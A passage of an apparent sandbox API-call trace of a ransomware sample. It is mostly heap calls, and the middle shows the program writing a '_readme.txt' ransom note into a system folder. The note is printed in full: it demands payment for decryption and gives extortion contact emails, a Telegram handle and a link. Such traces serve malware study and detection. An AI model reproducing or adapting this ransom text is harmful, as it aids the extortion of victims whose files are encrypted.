hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.468] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0124.468] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.468] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.468] PathFindFileNameW (pszPath="") returned="" [0124.468] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.468] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.468] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.468] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.468] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0124.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.469] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0124.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.469] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.469] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.469] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.469] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.470] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.470] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.470] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.470] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.470] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.471] 